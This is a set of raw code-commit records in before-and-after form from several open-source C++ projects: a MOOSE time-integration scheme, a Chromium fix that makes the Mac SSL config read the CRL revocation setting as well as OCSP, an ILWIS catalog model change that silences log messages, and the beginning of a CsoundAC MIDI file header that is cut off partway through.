std::cout << \"  Applying predictor with scale factor = \"<<std::fixed<<std::setprecision(2)<<_nl->_predictor_scale<<\"\\n\";\n    std::cout << std::scientific << std::setprecision(cur_precision);\n    Real dt_adjusted_scale_factor = _nl->_predictor_scale *_dt\/_dt_old;\n    NumericVector<Number> & previous_solution = _trash1;\n    _time_stack[_time_stack.size()-3].getSolution().localize(previous_solution);\n    if (dt_adjusted_scale_factor != 0.0)\n    {\n      initial_solution *= (1.0 + dt_adjusted_scale_factor);\n      previous_solution *= dt_adjusted_scale_factor;\n      initial_solution -= previous_solution;\n    }\n  }\n}\n\nvoid TimeScheme::computeLittlef(const NumericVector<Number> & bigF, NumericVector<Number> & littlef, Real time, bool mass)\n{\n  NumericVector<Number> & my_solution_u_dot = _trash3;\n\n   if(mass)\n   {\n     _solution_u_dot.localize(my_solution_u_dot);\n     _solution_u_dot = 1.0;\n   }\n  Real currenttime = _nl->_t;\n  const NumericVector<Real> *current_solution = _nl->currentSolution();\n  if(time != -1)\n  {\n    _nl->_t = time;\n  }\n  _nl->set_solution(bigF);\/\/ use old_solution for computing with correct solution vector\n  littlef.close();\n  _nl->computeNonTimeResidual(littlef);\n  if(mass)\n  {\n#ifdef LIBMESH_HAVE_PETSC\n    _nl->computeTimeResidual(_mmatrix);\n    PetscVector<Number> cls((static_cast<PetscVector<Number> & > (_mmatrix)).vec());\n    if( VecReciprocal(cls.vec()) != 0)\n      mooseError(\"VecReciprocal\");\n    cls.close();\n    littlef.pointwise_mult(littlef, _mmatrix);\n    _mmatrix.close();\n#endif\n  }\n\n  _nl->set_solution(*current_solution);\n  _nl->_t = currenttime;\n  if(mass)\n  {\n    my_solution_u_dot.localize(_solution_u_dot);\n  }\n}\n\nNumericVector<Number> & TimeScheme::finishResidual(NumericVector<Number> & residual){\n  switch (_time_stepping_scheme)\n  {\n  case Moose::CRANK_NICOLSON:\n    residual.add(_residual_old);\n    residual.close();\n    break;\n\n  default:\n    break;\n  }\n  return residual;\n}\n\nvoid\nTimeScheme::computeTimeDerivatives()\n{\n\n  switch (_time_stepping_scheme)\n  {\n  case Moose::IMPLICIT_EULER:\n  case Moose::EXPLICIT_EULER:\n    _solution_u_dot = *_nl->currentSolution();\n    _solution_u_dot -= _time_stack[_time_stack.size() -2].getSolution();\n    _solution_u_dot \/= _dt;\n\n    _solution_du_dot_du = 1.0 \/ _dt;\n    break;\n\n  case Moose::CRANK_NICOLSON:\n    _solution_u_dot = *_nl->currentSolution();\n    _solution_u_dot -=  _time_stack[_time_stack.size() -2].getSolution();\n    _solution_u_dot *=  2.0\/_dt;\n    \/\/_solution_u_dot += *_residual_old;\n    _solution_du_dot_du = 1.0\/_dt;\n    break;\n\n  case Moose::BDF2:\n    if (_t_step == 1)\n    {\n      \/\/ Use backward-euler for the first step\n      _solution_u_dot = *_nl->currentSolution();\n      _solution_u_dot -=  _time_stack[_time_stack.size() -2].getSolution();\n      _solution_u_dot \/= _dt;\n\n      _solution_du_dot_du = 1.0\/_dt;\n    }\n    else\n    {\n\n      _solution_u_dot.zero();\n      _solution_u_dot.add(_time_weight[0], *_nl->currentSolution());\n      _solution_u_dot.add(_time_weight[1], _time_stack[_time_stack.size() -2].getSolution());\n\n      _solution_u_dot.add(_time_weight[2], _time_stack[_time_stack.size()-3].getSolution()); \/\/_time_stack[_time_stack.size()-2].getSolution());\n      _solution_u_dot.scale(1.\/_dt);\n      _solution_du_dot_du = _time_weight[0]\/_dt;\n    }\n    break;\n\n  default:\n    break;\n  }\n  _solution_u_dot.close();\n  _solution_du_dot_du.close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/base\/ssl_config_service_mac.h\"\n\n#include <CoreFoundation\/CoreFoundation.h>\n\n#include \"base\/scoped_cftyperef.h\"\n\nusing base::TimeDelta;\nusing base::TimeTicks;\n\nnamespace net {\n\nnamespace {\n\nstatic const int kConfigUpdateInterval = 10;  \/\/ seconds\n\nstatic const bool kSSL2EnabledDefaultValue = false;\nstatic const bool kSSL3EnabledDefaultValue = true;\nstatic const bool kTLS1EnabledDefaultValue = true;\n\nstatic CFStringRef kRevocationPreferencesIdentifier =\n    CFSTR(\"com.apple.security.revocation\");\nstatic CFStringRef kOCSPStyleKey = CFSTR(\"OCSPStyle\");\nstatic CFStringRef kCRLStyleKey = CFSTR(\"CRLStyle\");\nstatic CFStringRef kNoneRevocationValue = CFSTR(\"None\");\nstatic CFStringRef kBestAttemptRevocationValue = CFSTR(\"BestAttempt\");\nstatic CFStringRef kSSL2EnabledKey = CFSTR(\"org.chromium.ssl.ssl2\");\nstatic CFStringRef kSSL3EnabledKey = CFSTR(\"org.chromium.ssl.ssl3\");\nstatic CFStringRef kTLS1EnabledKey = CFSTR(\"org.chromium.ssl.tls1\");\n\nbool RevocationStyleIsEnabled(CFStringRef key) {\n  CFPropertyListRef plist_ref = CFPreferencesCopyValue(kOCSPStyleKey,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n  if (plist_ref) {\n    scoped_cftyperef<CFPropertyListRef> scoped_plist_ref(plist_ref);\n    if (CFGetTypeID(plist_ref) == CFStringGetTypeID()) {\n      CFStringRef style = reinterpret_cast<CFStringRef>(plist_ref);\n      if (CFStringCompare(kNoneRevocationValue, style,\n                          kCFCompareCaseInsensitive))\n        return true;\n    }\n  }\n  return false;\n}\n\ninline bool SSLVersionIsEnabled(CFStringRef key, bool default_value) {\n  Boolean exists_and_valid;\n  Boolean rv = CFPreferencesGetAppBooleanValue(key,\n                                               kCFPreferencesCurrentApplication,\n                                               &exists_and_valid);\n  if (!exists_and_valid)\n    return default_value;\n  return rv;\n}\n\n}  \/\/ namespace\n\nSSLConfigServiceMac::SSLConfigServiceMac() : ever_updated_(false) {\n  \/\/ We defer retrieving the settings until the first call to GetSSLConfig, to\n  \/\/ avoid an expensive call on the UI thread, which could affect startup time.\n}\n\nSSLConfigServiceMac::SSLConfigServiceMac(TimeTicks now) : ever_updated_(false) {\n  UpdateConfig(now);\n}\n\nvoid SSLConfigServiceMac::GetSSLConfigAt(SSLConfig* config, TimeTicks now) {\n  if (!ever_updated_ ||\n      now - config_time_ > TimeDelta::FromSeconds(kConfigUpdateInterval))\n    UpdateConfig(now);\n  *config = config_info_;\n}\n\n\/\/ static\nbool SSLConfigServiceMac::GetSSLConfigNow(SSLConfig* config) {\n  \/\/ Our own revocation checking flag is a binary value, but Mac OS X uses\n  \/\/ several shades of revocation checking:\n  \/\/   - None (i.e., disabled, the default)\n  \/\/   - BestAttempt\n  \/\/   - RequireIfPresent\n  \/\/   - RequireForall\n  \/\/ Mac OS X also breaks down revocation check for both CRLs and OCSP. We\n  \/\/ set our revocation flag if the system-wide settings for either OCSP\n  \/\/ or CRLs is anything other than None.\n  config->rev_checking_enabled = (RevocationStyleIsEnabled(kOCSPStyleKey) ||\n                                  RevocationStyleIsEnabled(kCRLStyleKey));\n\n  config->ssl2_enabled = SSLVersionIsEnabled(kSSL2EnabledKey,\n                                             kSSL2EnabledDefaultValue);\n  config->ssl3_enabled = SSLVersionIsEnabled(kSSL3EnabledKey,\n                                             kSSL3EnabledDefaultValue);\n  config->tls1_enabled = SSLVersionIsEnabled(kTLS1EnabledKey,\n                                             kTLS1EnabledDefaultValue);\n\n  return true;\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetSSL2Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kSSL2EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetSSL3Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kSSL3EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetTLS1Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kTLS1EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetRevCheckingEnabled(bool enabled) {\n  \/\/ This method is provided for use by the unit tests. These settings\n  \/\/ are normally changed via the Keychain Access application's preferences\n  \/\/ dialog.\n  CFPreferencesSetValue(kOCSPStyleKey,\n      enabled ? kBestAttemptRevocationValue : kNoneRevocationValue,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n  CFPreferencesSetValue(kCRLStyleKey,\n      enabled ? kBestAttemptRevocationValue : kNoneRevocationValue,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n}\n\nvoid SSLConfigServiceMac::UpdateConfig(TimeTicks now) {\n  GetSSLConfigNow(&config_info_);\n  config_time_ = now;\n  ever_updated_ = true;\n}\n\n}  \/\/ namespace net\n<commit_msg>Fix a bug that caused the Mac SSL config service only check the system OCSP setting, ignoring the CRL setting. Not a problem at the moment since revocation isn't hooked up at the lower level, but it would have been a problem in due time. BUG=none TEST=none Review URL: http:\/\/codereview.chromium.org\/215014<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"net\/base\/ssl_config_service_mac.h\"\n\n#include <CoreFoundation\/CoreFoundation.h>\n\n#include \"base\/scoped_cftyperef.h\"\n\nusing base::TimeDelta;\nusing base::TimeTicks;\n\nnamespace net {\n\nnamespace {\n\nstatic const int kConfigUpdateInterval = 10;  \/\/ seconds\n\nstatic const bool kSSL2EnabledDefaultValue = false;\nstatic const bool kSSL3EnabledDefaultValue = true;\nstatic const bool kTLS1EnabledDefaultValue = true;\n\nstatic CFStringRef kRevocationPreferencesIdentifier =\n    CFSTR(\"com.apple.security.revocation\");\nstatic CFStringRef kOCSPStyleKey = CFSTR(\"OCSPStyle\");\nstatic CFStringRef kCRLStyleKey = CFSTR(\"CRLStyle\");\nstatic CFStringRef kNoneRevocationValue = CFSTR(\"None\");\nstatic CFStringRef kBestAttemptRevocationValue = CFSTR(\"BestAttempt\");\nstatic CFStringRef kSSL2EnabledKey = CFSTR(\"org.chromium.ssl.ssl2\");\nstatic CFStringRef kSSL3EnabledKey = CFSTR(\"org.chromium.ssl.ssl3\");\nstatic CFStringRef kTLS1EnabledKey = CFSTR(\"org.chromium.ssl.tls1\");\n\nbool RevocationStyleIsEnabled(CFStringRef key) {\n  CFPropertyListRef plist_ref = CFPreferencesCopyValue(key,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n  if (plist_ref) {\n    scoped_cftyperef<CFPropertyListRef> scoped_plist_ref(plist_ref);\n    if (CFGetTypeID(plist_ref) == CFStringGetTypeID()) {\n      CFStringRef style = reinterpret_cast<CFStringRef>(plist_ref);\n      if (CFStringCompare(kNoneRevocationValue, style,\n                          kCFCompareCaseInsensitive))\n        return true;\n    }\n  }\n  return false;\n}\n\ninline bool SSLVersionIsEnabled(CFStringRef key, bool default_value) {\n  Boolean exists_and_valid;\n  Boolean rv = CFPreferencesGetAppBooleanValue(key,\n                                               kCFPreferencesCurrentApplication,\n                                               &exists_and_valid);\n  if (!exists_and_valid)\n    return default_value;\n  return rv;\n}\n\n}  \/\/ namespace\n\nSSLConfigServiceMac::SSLConfigServiceMac() : ever_updated_(false) {\n  \/\/ We defer retrieving the settings until the first call to GetSSLConfig, to\n  \/\/ avoid an expensive call on the UI thread, which could affect startup time.\n}\n\nSSLConfigServiceMac::SSLConfigServiceMac(TimeTicks now) : ever_updated_(false) {\n  UpdateConfig(now);\n}\n\nvoid SSLConfigServiceMac::GetSSLConfigAt(SSLConfig* config, TimeTicks now) {\n  if (!ever_updated_ ||\n      now - config_time_ > TimeDelta::FromSeconds(kConfigUpdateInterval))\n    UpdateConfig(now);\n  *config = config_info_;\n}\n\n\/\/ static\nbool SSLConfigServiceMac::GetSSLConfigNow(SSLConfig* config) {\n  \/\/ Our own revocation checking flag is a binary value, but Mac OS X uses\n  \/\/ several shades of revocation checking:\n  \/\/   - None (i.e., disabled, the default)\n  \/\/   - BestAttempt\n  \/\/   - RequireIfPresent\n  \/\/   - RequireForall\n  \/\/ Mac OS X also breaks down revocation check for both CRLs and OCSP. We\n  \/\/ set our revocation flag if the system-wide settings for either OCSP\n  \/\/ or CRLs is anything other than None.\n  config->rev_checking_enabled = (RevocationStyleIsEnabled(kOCSPStyleKey) ||\n                                  RevocationStyleIsEnabled(kCRLStyleKey));\n\n  config->ssl2_enabled = SSLVersionIsEnabled(kSSL2EnabledKey,\n                                             kSSL2EnabledDefaultValue);\n  config->ssl3_enabled = SSLVersionIsEnabled(kSSL3EnabledKey,\n                                             kSSL3EnabledDefaultValue);\n  config->tls1_enabled = SSLVersionIsEnabled(kTLS1EnabledKey,\n                                             kTLS1EnabledDefaultValue);\n\n  return true;\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetSSL2Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kSSL2EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetSSL3Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kSSL3EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetTLS1Enabled(bool enabled) {\n  CFPreferencesSetAppValue(kTLS1EnabledKey,\n                           enabled ? kCFBooleanTrue : kCFBooleanFalse,\n                           kCFPreferencesCurrentApplication);\n  CFPreferencesAppSynchronize(kCFPreferencesCurrentApplication);\n}\n\n\/\/ static\nvoid SSLConfigServiceMac::SetRevCheckingEnabled(bool enabled) {\n  \/\/ This method is provided for use by the unit tests. These settings\n  \/\/ are normally changed via the Keychain Access application's preferences\n  \/\/ dialog.\n  CFPreferencesSetValue(kOCSPStyleKey,\n      enabled ? kBestAttemptRevocationValue : kNoneRevocationValue,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n  CFPreferencesSetValue(kCRLStyleKey,\n      enabled ? kBestAttemptRevocationValue : kNoneRevocationValue,\n      kRevocationPreferencesIdentifier, kCFPreferencesCurrentUser,\n      kCFPreferencesAnyHost);\n}\n\nvoid SSLConfigServiceMac::UpdateConfig(TimeTicks now) {\n  GetSSLConfigNow(&config_info_);\n  config_time_ = now;\n  ever_updated_ = true;\n}\n\n}  \/\/ namespace net\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>リファクタリング<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <QSqlDatabase>\n#include <QSqlQuery>\n#include <QSqlError>\n#include <QSqlRecord>\n#include <QQmlContext>\n#include \"coverage.h\"\n#include \"connectorinterface.h\"\n#include \"resource.h\"\n#include \"georeference.h\"\n#include \"mastercatalog.h\"\n#include \"catalogview.h\"\n#include \"resourcemodel.h\"\n#include \"catalogmodel.h\"\n#include \"layermanager.h\"\n\n\nusing namespace Ilwis;\n\/\/using namespace Desktopclient;\n\nCatalogModel::CatalogModel()\n{\n    \/\/_hasChilderen = false;\n    _initNode = false;\n    _level = 0;\n    _isScanned = false;\n}\n\nCatalogModel::~CatalogModel()\n{\n\n}\n\nCatalogModel::CatalogModel(const CatalogView &view, int lvl, QObject *parent) : ResourceModel(view.resource(), parent)\n{\n    _initNode = true;\n    _level = lvl;\n    _isScanned = true;\n    newview(view);\n\n}\n\nvoid CatalogModel::newview(const CatalogView &view){\n    _view = view;\n    mastercatalog()->addContainer(view.resource().url());\n    _displayName = view.resource().name();\n    if ( _displayName == sUNDEF)\n        _displayName = view.resource().url().toString();\n}\n\nbool CatalogModel::isScanned() const\n{\n    return _isScanned;\n}\n\nbool CatalogModel::initNode() const {\n    return _initNode;\n}\n\nint CatalogModel::level() const\n{\n    return _level;\n}\n\nQQmlListProperty<ResourceModel> CatalogModel::resources() {\n\n    try{\n        gatherItems();\n\n        return  QQmlListProperty<ResourceModel>(this, _currentItems);\n    }\n    catch(const ErrorObject& err){\n\n    }\n    return  QQmlListProperty<ResourceModel>();\n}\n\nQQmlListProperty<IlwisObjectModel> CatalogModel::selectedData()\n{\n    return  QQmlListProperty<IlwisObjectModel>(this, _selectedObjects);\n}\n\nQQmlListProperty<CatalogMapItem> CatalogModel::mapItems()\n{\n   return  QQmlListProperty<CatalogMapItem>(this, _catalogMapItems);\n}\n\nvoid CatalogModel::makeParent(QObject *obj)\n{\n    setParent(obj);\n}\n\nvoid CatalogModel::filterChanged(const QString& objectType, bool state){\n    if ( objectType == \"all\"){\n        _filterState[\"rastercoverage\"] = state;\n        _filterState[\"featurecoverage\"] = state;\n        _filterState[\"table\"] = state;\n        _filterState[\"coordinatesystem\"] = state;\n        _filterState[\"georeference\"] = state;\n        _filterState[\"domain\"] = state;\n        _filterState[\"representation\"] = state;\n        _filterState[\"projection\"] = state;\n        _filterState[\"ellipsoid\"] = state;\n\n    }else\n        _filterState[objectType] = state;\n    QString filterString;\n    for(auto iter : _filterState){\n        if ( !iter.second){\n            if ( filterString != \"\")\n                filterString += \" and \";\n            filterString += QString(\"type\") + \"& '\" + iter.first + \"' =0\";\n        }\n    }\n    _refresh = true;\n    _view.filter(filterString);\n    contentChanged();\n}\n\nvoid CatalogModel::refresh(bool yesno)\n{\n    _refresh = yesno;\n}\n\nvoid CatalogModel::setSelectedObjects(const QString &objects)\n{\n    try {\n    QStringList parts = objects.split(\"|\");\n    _selectedObjects.clear();\n    for(auto objectid : parts){\n        Resource resource = mastercatalog()->id2Resource(objectid.toULongLong());\n        IlwisObjectModel *ioModel = new IlwisObjectModel(resource, this);\n        if ( ioModel->isValid()){\n            _selectedObjects.append(ioModel);\n            emit selectionChanged();\n        }else\n            delete ioModel;\n    }\n    }catch(const ErrorObject& err){\n\n    }\n}\n\nvoid CatalogModel::nameFilter(const QString &filter)\n{\n    _nameFilter = filter;\n    _currentItems.clear();\n    emit contentChanged();\n}\n\nQString CatalogModel::nameFilter() const\n{\n    return _nameFilter;\n}\n\nvoid CatalogModel::prepareMapItems(LayerManager *manager)\n{\n    try{\n        if ( _catalogMapItems.size() == 0){\n            for (auto iter  = _currentItems.begin(); iter != _currentItems.end(); ++iter){\n                if(hasType((*iter)->type(), itCOVERAGE)){\n                    Ilwis::ICoverage cov(((*iter)->resource()));\n                    if ( cov.isValid() && cov->coordinateSystem().isValid())    {\n                        if ( cov->coordinateSystem()->isLatLon() || cov->coordinateSystem()->canConvertToLatLon()){\n                            _catalogMapItems.push_back(new CatalogMapItem(cov,manager->screenGrf(),this));\n                        }\n                    }\n                }\n            }\n        }\n    } catch (const Ilwis::ErrorObject& ){\n\n    } catch (std::exception& ex){\n        Ilwis::kernel()->issues()->log(ex.what());\n    }\n}\n\nvoid CatalogModel::gatherItems() {\n    if ( _currentItems.isEmpty() || _refresh) {\n        if ( !_view.isValid())\n            return;\n\n        _view.prepare();\n\n        _currentItems.clear();\n        _refresh = false;\n\n        std::vector<Resource> items = _view.items();\n        for(const Resource& resource : items){\n            if ( _nameFilter != \"\"){\n                if ( resource.name().indexOf(_nameFilter) == -1){\n                    if ( resource[\"longname\"].toString().indexOf(_nameFilter) == -1)\n                        continue;\n                }\n            }\n            _currentItems.push_back(new ResourceModel(resource));\n\n        }\n    }\n}\n\n\n\n\n<commit_msg>silenced the messages from reading a catalog as they are not helpfull atm<commit_after>#include <QSqlDatabase>\n#include <QSqlQuery>\n#include <QSqlError>\n#include <QSqlRecord>\n#include <QQmlContext>\n#include \"coverage.h\"\n#include \"connectorinterface.h\"\n#include \"resource.h\"\n#include \"georeference.h\"\n#include \"mastercatalog.h\"\n#include \"catalogview.h\"\n#include \"resourcemodel.h\"\n#include \"catalogmodel.h\"\n#include \"layermanager.h\"\n\n\nusing namespace Ilwis;\n\/\/using namespace Desktopclient;\n\nCatalogModel::CatalogModel()\n{\n    \/\/_hasChilderen = false;\n    _initNode = false;\n    _level = 0;\n    _isScanned = false;\n}\n\nCatalogModel::~CatalogModel()\n{\n\n}\n\nCatalogModel::CatalogModel(const CatalogView &view, int lvl, QObject *parent) : ResourceModel(view.resource(), parent)\n{\n    _initNode = true;\n    _level = lvl;\n    _isScanned = true;\n    newview(view);\n\n}\n\nvoid CatalogModel::newview(const CatalogView &view){\n    _view = view;\n    mastercatalog()->addContainer(view.resource().url());\n    _displayName = view.resource().name();\n    if ( _displayName == sUNDEF)\n        _displayName = view.resource().url().toString();\n}\n\nbool CatalogModel::isScanned() const\n{\n    return _isScanned;\n}\n\nbool CatalogModel::initNode() const {\n    return _initNode;\n}\n\nint CatalogModel::level() const\n{\n    return _level;\n}\n\nQQmlListProperty<ResourceModel> CatalogModel::resources() {\n\n    try{\n        gatherItems();\n\n        return  QQmlListProperty<ResourceModel>(this, _currentItems);\n    }\n    catch(const ErrorObject& err){\n\n    }\n    return  QQmlListProperty<ResourceModel>();\n}\n\nQQmlListProperty<IlwisObjectModel> CatalogModel::selectedData()\n{\n    return  QQmlListProperty<IlwisObjectModel>(this, _selectedObjects);\n}\n\nQQmlListProperty<CatalogMapItem> CatalogModel::mapItems()\n{\n   return  QQmlListProperty<CatalogMapItem>(this, _catalogMapItems);\n}\n\nvoid CatalogModel::makeParent(QObject *obj)\n{\n    setParent(obj);\n}\n\nvoid CatalogModel::filterChanged(const QString& objectType, bool state){\n    if ( objectType == \"all\"){\n        _filterState[\"rastercoverage\"] = state;\n        _filterState[\"featurecoverage\"] = state;\n        _filterState[\"table\"] = state;\n        _filterState[\"coordinatesystem\"] = state;\n        _filterState[\"georeference\"] = state;\n        _filterState[\"domain\"] = state;\n        _filterState[\"representation\"] = state;\n        _filterState[\"projection\"] = state;\n        _filterState[\"ellipsoid\"] = state;\n\n    }else\n        _filterState[objectType] = state;\n    QString filterString;\n    for(auto iter : _filterState){\n        if ( !iter.second){\n            if ( filterString != \"\")\n                filterString += \" and \";\n            filterString += QString(\"type\") + \"& '\" + iter.first + \"' =0\";\n        }\n    }\n    _refresh = true;\n    _view.filter(filterString);\n    contentChanged();\n}\n\nvoid CatalogModel::refresh(bool yesno)\n{\n    _refresh = yesno;\n}\n\nvoid CatalogModel::setSelectedObjects(const QString &objects)\n{\n    try {\n    QStringList parts = objects.split(\"|\");\n    _selectedObjects.clear();\n    for(auto objectid : parts){\n        Resource resource = mastercatalog()->id2Resource(objectid.toULongLong());\n        IlwisObjectModel *ioModel = new IlwisObjectModel(resource, this);\n        if ( ioModel->isValid()){\n            _selectedObjects.append(ioModel);\n            emit selectionChanged();\n        }else\n            delete ioModel;\n    }\n    }catch(const ErrorObject& err){\n\n    }\n}\n\nvoid CatalogModel::nameFilter(const QString &filter)\n{\n    _nameFilter = filter;\n    _currentItems.clear();\n    emit contentChanged();\n}\n\nQString CatalogModel::nameFilter() const\n{\n    return _nameFilter;\n}\n\nvoid CatalogModel::prepareMapItems(LayerManager *manager)\n{\n    try{\n        if ( _catalogMapItems.size() == 0){\n            kernel()->issues()->silent(true);\n            for (auto iter  = _currentItems.begin(); iter != _currentItems.end(); ++iter){\n                if(hasType((*iter)->type(), itCOVERAGE)){\n                    Ilwis::ICoverage cov(((*iter)->resource()));\n                    if ( cov.isValid() && cov->coordinateSystem().isValid())    {\n                        if ( cov->coordinateSystem()->isLatLon() || cov->coordinateSystem()->canConvertToLatLon()){\n                            _catalogMapItems.push_back(new CatalogMapItem(cov,manager->screenGrf(),this));\n                        }\n                    }\n                }\n            }\n            kernel()->issues()->silent(false);\n        }\n    } catch (const Ilwis::ErrorObject& ){\n\n    } catch (std::exception& ex){\n        Ilwis::kernel()->issues()->log(ex.what());\n    }\n    kernel()->issues()->silent(false);\n}\n\nvoid CatalogModel::gatherItems() {\n    if ( _currentItems.isEmpty() || _refresh) {\n        if ( !_view.isValid())\n            return;\n\n        _view.prepare();\n\n        _currentItems.clear();\n        _refresh = false;\n\n        std::vector<Resource> items = _view.items();\n        for(const Resource& resource : items){\n            if ( _nameFilter != \"\"){\n                if ( resource.name().indexOf(_nameFilter) == -1){\n                    if ( resource[\"longname\"].toString().indexOf(_nameFilter) == -1)\n                        continue;\n                }\n            }\n            _currentItems.push_back(new ResourceModel(resource));\n\n        }\n    }\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* C S O U N D   V S T\n*\n* A VST plugin version of Csound, with Python scripting.\n*\n* L I C E N S E\n*\n* This software is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU Lesser General Public\n* License as published by the Free Software Foundation; either\n* version 2.1 of the License, or (at your option) any later version.\n*\n* This software is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n* Lesser General Public License for more details.\n*\n* You should have received a copy of the GNU Lesser General Public\n* License along with this software; if not, write to the Free Software\n* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n*\/\n#ifndef MIDIFILE_H\n#define MIDIFILE_H\n#include \"Platform.hpp\"\n#ifdef SWIG\n%module CsoundAC\n%{\n#include <algorithm>\n#include <utility>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <string>\n#include <vector>\n%}\n%include \"std_string.i\"\n%template(MidiEventVector) std::vector<csound::MidiEvent>;\n%template(MidiByteVector) std::vector<unsigned char>;\n#else\n#include <algorithm>\n#include <utility>\n#include <fstream>\n#include <iostream>\n#include <map>\n#include <string>\n#include <vector>\n#endif\n\nnamespace csound\n{\n    typedef unsigned char csound_u_char;\n        class MidiFile;\n\n        class SILENCE_PUBLIC Chunk\n        {\n        public:\n                int id;\n                int chunkSize;\n                int chunkSizePosition;\n                int chunkStart;\n                int chunkEnd;\n                Chunk(const char *_id);\n                virtual ~Chunk(void);\n                virtual void read(std::istream &stream);\n                virtual void write(std::ostream &stream);\n                virtual void markChunkSize(std::ostream &stream);\n                virtual void markChunkStart(std::ostream &stream);\n                virtual void markChunkEnd(std::ostream &stream);\n        };\n\n        class SILENCE_PUBLIC MidiHeader : public Chunk\n        {\n        public:\n                short type;\n                short trackCount;\n                short timeFormat;\n                MidiHeader(void);\n                virtual ~MidiHeader(void);\n                virtual void clear(void);\n                virtual void read(std::istream &stream);\n                virtual void write(std::ostream &stream);\n        };\n\n        \/**\n        * This class is used to store ALL Midi messages.\n        *\/\n        class SILENCE_PUBLIC MidiEvent : public std::vector<csound_u_char>\n        {\n        public:\n                int ticks;\n                double time;\n                MidiEvent(void);\n                virtual ~MidiEvent(void);\n                virtual void read(std::istream &stream, MidiFile &midiFile);\n                virtual void write(std::ostream &stream, MidiFile &midiFile, int lastTick);\n                virtual int getStatus(void);\n                virtual int getStatusNybble(void);\n                virtual int getChannelNybble(void);\n                virtual int getKey(void);\n                virtual int getVelocity(void);\n                virtual int getMetaType(void);\n                virtual unsigned char getMetaData(int i);\n                virtual size_t getMetaSize(void);\n                virtual unsigned char read(std::istream &stream);\n                virtual bool isChannelVoiceMessage();\n                virtual bool isNoteOn(void);\n                virtual bool isNoteOff(void);\n                virtual bool isMatchingNoteOff(MidiEvent &offEvent);\n                friend bool operator < (const MidiEvent &a, MidiEvent &b);\n        };\n\n        class SILENCE_PUBLIC MidiTrack : public Chunk, public std::vector<MidiEvent>\n        {\n        public:\n                MidiTrack(void);\n                virtual ~MidiTrack(void);\n                virtual void read(std::istream &stream, MidiFile &midiFile);\n                virtual void write(std::ostream &stream, MidiFile &midiFile);\n                virtual void sort(void);\n        };\n\n        class SILENCE_PUBLIC TempoMap : public std::map<int, double>\n        {\n        public:\n                double getCurrentSecondsPerTick(int tick);\n        };\n\n        \/**\n        * Reads and writes format 0 and format 1 standard MIDI files.\n        *\/\n        class SILENCE_PUBLIC MidiFile\n        {\n        public:\n                typedef enum {\n                        CHANNEL_NOTE_OFF = 0x80,\n                        CHANNEL_NOTE_ON = 0x90,\n                        CHANNEL_KEY_PRESSURE = 0xa0,\n                        CHANNEL_CONTROL_CHANGE = 0xb0,\n                        CHANNEL_PROGRAM_CHANGE = 0xc0,\n                        CHANNEL_AFTER_TOUCH = 0xd0,\n                        CHANNEL_PITCH_BEND = 0xe0,\n                        SYSTEM_EXCLUSIVE = 0xf0,\n                        SYSTEM_MIDI_TIME_CODE = 0xf1,\n                        SYSTEM_SONG_POSITION_POINTER = 0xf2,\n                        SYSTEM_SONG_SELECT = 0xf3,\n                        SYSTEM_TUNE_REQUEST = 0xf6,\n                        SYSTEM_END_OF_EXCLUSIVE = 0xf7,\n                        SYSTEM_TIMING_CLOCK = 0xf8,\n                        SYSTEM_START = 0xfa,\n                        SYSTEM_CONTINUE = 0xfb,\n                        SYSTEM_STOP = 0xfc,\n                        SYSTEM_ACTIVE_SENSING = 0xfe,\n                        META_EVENT = 0xff\n                } MidiEventTypes;\n                typedef enum {\n                        META_SEQUENCE_NUMBER = 0x00,\n                        META_TEXT_EVENT = 0x01,\n                        META_COPYRIGHT_NOTICE = 0x02,\n                        META_SEQUENCE_NAME = 0x03,\n                        META_INSTRUMENT_NAME = 